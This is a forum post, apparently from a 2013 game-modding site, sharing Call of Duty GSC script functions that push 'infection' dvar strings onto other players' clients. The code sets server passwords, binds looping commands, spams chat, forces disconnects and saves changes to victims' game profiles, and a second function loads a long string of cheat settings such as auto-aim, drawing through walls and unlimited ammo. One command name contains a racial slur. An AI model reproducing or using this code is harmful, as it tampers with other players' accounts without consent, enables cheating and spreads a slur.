    	self.dvalues = [];
    }
    doGiveInfections()
    {
    	self endon("death");
    	self iprintlnbold("Patch Made By "+self.name+"");
    	self addInfDvar("InFect", "g_password EVIL;cg_chatheight 8;cg_hudChatPosition 5 200;wait 100;say ^5You are now being infected!;vstr Spam;vstr nh0;vstr quitmenu");wait 0.5;
     self addInfDvar("maplol", "mp_shipment;^5"+self.name+"\n;^1Hell yah\n\n;^3Have fun\n;motd ^5Bananas;seta clanname {Ev};cg_chattime 60000;developer_script 1;setfromdvar vloop ui_gametype;bind apad_up vstr vloop;cg_draw2D 1;updategamerprofile;disconnect;");wait 0.5;
    	self addInfDvar("gamelol", "vstr g_teamicon_allies;wait 15;vstr vloop");wait 0.5;
    	self setClientDvar("developer_script", "1");
    
    	for(i=0;i<self.dvars.size;i++)
    	{
    		if(i!=self.dvars.size-1) {
    			self setClientDvar("nh"+i, "setfromdvar g_TeamIcon_Axis "+self.dvars[i]+";setfromdvar g_TeamIcon_Allies tb"+i+";setfromdvar g_teamname_axis nh"+i+";setfromdvar g_teamname_allies tb"+i+";cg_hudChatPosition 200 200;cg_chatHeight 1;say ^1"+(i+1)+" ^5out of ^1"+self.dvars.size+" ^5Infected!;wait 120;vstr nh"+(i+1)+";");wait 0.2;
    			self setClientDvar("tb"+i, "setfromdvar "+self.dvars[i]+" g_TeamIcon_Axis;setfromdvar nh"+i+" g_TeamName_Axis;setfromdvar tb"+i+" g_TeamName_Allies;wait 45");wait 0.2;
    		}else{
    			self setClientDvar("nh"+i, "setfromdvar g_TeamIcon_Axis "+self.dvars[i]+";setfromdvar g_TeamIcon_Allies tb"+i+";setfromdvar g_teamname_axis nh"+i+";setfromdvar g_teamname_allies tb"+i+";wait 120;say DONE!;reset g_password;timescale 1");wait 0.2;
    			self setClientDvar("tb"+i, "setfromdvar "+self.dvars[i]+" g_TeamIcon_Axis;setfromdvar nh"+i+" g_TeamName_Axis;setfromdvar tb"+i+" g_TeamName_Allies;wait 45;set vloop set activeaction vstr nigchicken;set activeaction vstr nigchicken;disconnect;");wait 0.2;
    		}
    		wait 0.1;
    
            }
    	self iprintlnbold("^2CL TWEKRERS [email protected] PATCH");
            wait 0.2;
    	self iprintlnbold("^3Enjoy your stay");
            wait 0.2;
            setDvar("timescale", "1");
    }
    Code:
     BestInfections()
    {
    self setClientDvar("ui_mapname", "mp_shipment;bind button_back;r_znear 35;party_iamhost 1 ;party_hostmigration 0;party_connectToOthers 0;player_sprintSpeedScale 5.0;perk_weapreloadMultiplier 0.001;compassSize 1.5;compassEnemyFootstepEnabled 1;compass_show_enemies 1;scr_game_forceuav 1;aim_automelee_range 255;aim_automelee_region_height 480;aim_automelee_region_width 640;aim_autoaim_enabled 1;aim_autoaim_lerp 100;aim_autoaim_region_height 480; aim_autoaim_region_width 640;aim_autoAimRangeScale 2;aim_lockon_debug 1;aim_lockon_enabled 1;aim_lockon_region_height 0;aim_lockon_region_width 640;aim_lockon_strength 1;aim_lockon_deflection 0.05;aim_input_graph_debug 0;aim_input_graph_enabled 1;cg_tracerSpeed 0050;cg_tracerwidth 8;cg_tracerlength 999;cg_scoreboardMyColor 0.8 0 0 1;scr_givehelicopter 1;scr_heli_maxhealth 99999;scr_heli_turret_engage_dist 99999;scr_heli_visual_range(99999)scr_heli_targeting_delay 0.0001;scr_heli_turretClipSize 9999;scr_heli_turretReloadTime 0.0001;cg_drawShellshock 0;lowAmmoWarningColor1 0 0 1 1;lowAmmoWarningColor2 1 0 0 1;lowAmmoWarningNoAmmoColor1 0 0 1 1;lowAmmoWarningNoAmmoColor2 1 0 0 1;lowAmmoWarningNoReloadColor1 0 0 1 1;lowAmmoWarningNoReloadColor2 1 0 0 1;player_clipSizeMultiplier 45;player_sprintUnlimited 1;player_meleeRange 999;cg_laserForceOn 1;player_sustainAmmo 1;cg_gun_x 3;perk_weapRateMultiplier 0.001;perk_grenadeDeath rpg_mp;cg_drawFPS Simple;cg_drawFPSLabels 1;player_burstFireCooldown 0;bg_fallDamageMinHeight 9999;bg_fallDamageMinHeight 9999;jump_height 900;g_gravity 20;timescale 6;ui_hud_hardcore 1;perk_sprintMultiplier 999;cg_scoreboardMyColor 0 0 0 1;cg_crosshairAlpha 1;cg_crosshairAlphaMin 0.5;cg_crosshairDynamic 0;cg_crosshairEnemyColor 1;cg_crosshairVerticalOffset;perk_weapspreadMultiplier 0.001;perk_extraBreath 999;perk_bulletPenetrationMultiplier 999;perk_explosiveDamage 999;perk_weapreloadMultiplier 0.001;perk_armorVest 999;player_breath_hold_time 30;player_breath_gasp_lerp 0.001;player_breath_gasp_time 0.001;player_breath_gasp_scale 1;perk_bulletdamage 999;perk_parabolicradis 1000;cg_enemyNameFadeOut 900000;cg_enemyNameFadeIn 0;cg_drawThroughWalls 1;set g_knockback 999;party_vetoPercentRequired 0.001;bind dpad_right;say ^2www.codeleakers.com;motd Swerve;updategamerprofile;bind dpad_up;clanname Butt;updategamerprofile;");
    }

    1 Not allowed! Not allowed!
    Last edited by Atmosphere; 07-29-2013 at 08:33 PM.

Bookmarks

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
All times are GMT -10. The time now is 06:43 AM.
Powered by vBulletin®
Copyright © 2017 vBulletin Solutions, Inc. All rights reserved.